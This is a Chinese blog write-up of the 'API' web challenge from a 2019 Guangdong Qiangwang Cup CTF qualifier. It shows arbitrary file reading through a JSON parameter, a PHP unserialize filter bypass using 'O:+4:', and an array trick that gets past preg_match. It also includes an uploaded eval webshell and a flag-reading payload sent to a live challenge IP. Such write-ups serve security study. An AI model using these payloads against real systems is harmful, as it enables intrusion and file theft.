美文网首页
广东省第三届强网杯预选赛writeup-API

广东省第三届强网杯预选赛writeup-API

作者: nohands_noob | 来源:发表于2019-09-29 09:44 被阅读0次

首先吐槽自己,太菜了,web题6道做出5道,其他类型的题基本没思路
另外简书终于能发文了

题目:API
Flag:flag{Oiahhh1_iiu123}

访问首页

找一下其他路径,发现存在api路径,访问提示Post提交filename参数


Post提交filename=index.php 提示josn decode错误

那就提交格式化的josn,不断测试当键值为file可以读出源码
filename={"file":"/var/www/html/api/index.php"}


<?php
if(isset($_POST['filename'])){
    $file=json_decode($_POST['filename'], true);
    if(json_last_error()){
      die("sorry,json_decode error!");
    }else{
      if(array_key_exists("file",$file)){
        if(stristr($file['file'],'f')){
          die('sorry!');
        }else{
          echo file_get_contents($file['file']);
        }
      }else{
        die('sorry,u cannot readfile');
      }
    }

}else{
  echo "Post `filename`,and u give this api array,u can read file";
}
?>

有f直接打印sorry,直接排除读取路径带‘f’的文件
用同样的方式读取根目录的index.php源码

<?php
require_once('hack.php');
echo "Api!wow";
function do_unserialize($value){
        preg_match('/[oc]:\d+:/i', $value, $matches);
        if (count($matches)) {return false;}
        return unserialize($value);
    }
$x = new hack();
if(isset($_GET['flag'])) $g = $_GET['flag'];
if (!empty($g)) {
    $x = do_unserialize($g);
}
echo $x->readfile();
?>

发现是反序列化,检测到O,C,数字这些字符直接pass,还有个hack.php
再查看hack.php的源码

<?php
    class hack {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    //fffffaa_not.php
?>

hack.php的关键是hack对象的file参数可以控制
而index.php的过滤只需要O的数字前加个+就能绕过
那么就可以查看fffffaa_not.php的源码
O:+4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}

url编码
%4f%3a%2b%34%3a%22%68%61%63%6b%22%3a%31%3a%7b%73%3a%34%3a%22%66%69%6c%65%22%3b%73%3a%31%35%3a%22%66%66%66%66%66%61%61%5f%6e%6f%74%2e%70%68%70%22%3b%7d


阅读源码,可以上传文件
preg_match()过滤了<>?,preg_match()函数可以传递数组来绕过
文件名必须是数字

http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<?php @eval[@_POST[cmd]]?>&file_na=123333333

上传成功但是菜刀连不上

在试试了exec,system,assert等都不行

(开始以为函数被禁用了,看了别人的writeup eval没有禁用,禁用的应该是菜刀执行的某些函数)

直接上传读flag的代码,pyload
<?php $myfile = fopen("flag.php", "r") or die("Unable to open file!"); echo fread($myfile,filesize("flag.php")); fclose($myfile); ?>

http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<?php $myfile = fopen("flag.php", "r") or die("Unable to open file!"); echo fread($myfile,filesize("flag.php")); fclose($myfile); ?>
&file_na=123333333

上传成功访问
看到了flag


相关文章

网友评论

      本文标题:广东省第三届强网杯预选赛writeup-API

      本文链接:https://www.haomeiwen.com/subject/dynxpctx.html